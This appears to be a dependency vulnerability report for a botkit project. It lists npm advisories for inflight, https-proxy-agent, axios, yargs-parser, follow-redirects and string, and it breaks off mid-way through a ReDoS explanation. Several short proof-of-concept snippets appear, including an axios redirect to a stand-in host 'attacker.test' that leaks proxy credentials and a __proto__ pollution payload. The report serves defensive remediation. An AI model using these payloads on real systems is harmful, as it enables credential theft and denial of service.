  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Man-in-the-Middle (MitM)

  • Vulnerable module: https-proxy-agent
  • Introduced through: https-proxy-agent@1.0.0

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD https-proxy-agent@1.0.0
    Remediation: Upgrade to https-proxy-agent@2.2.3.

Overview

https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). When targeting a HTTP proxy, https-proxy-agent opens a socket to the proxy, and sends the proxy server a CONNECT request. If the proxy server responds with something other than a HTTP response 200, https-proxy-agent incorrectly returns the socket without any TLS upgrade. This request data may contain basic auth credentials or other secrets, is sent over an unencrypted connection. A suitably positioned attacker could steal these secrets and impersonate the client.

PoC

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxyOpts = url.parse('http://127.0.0.1:80');
var opts = url.parse('https://www.google.com');
var agent = new HttpsProxyAgent(proxyOpts);
opts.agent = agent;
opts.auth = 'username:password';
https.get(opts);

Remediation

Upgrade https-proxy-agent to version 2.2.3 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 yargs@6.6.0 yargs-parser@4.2.1
    Remediation: Upgrade to localtunnel@2.0.0.

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0 follow-redirects@1.5.10
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking the cookie header to a third party site in the process of fetching a remote URL with the cookie in the request body. If the response contains a location header, it will follow the redirect to another URL of a potentially malicious actor, to which the cookie would be exposed.

Remediation

Upgrade follow-redirects to version 1.14.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: string
  • Introduced through: ciscospark@0.7.93

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 string@3.3.3

Overview

string is a JavaScript library for extra String methods.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex in the underscore and unescapeHTML methods, which can cause a slowdown of 2 seconds 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
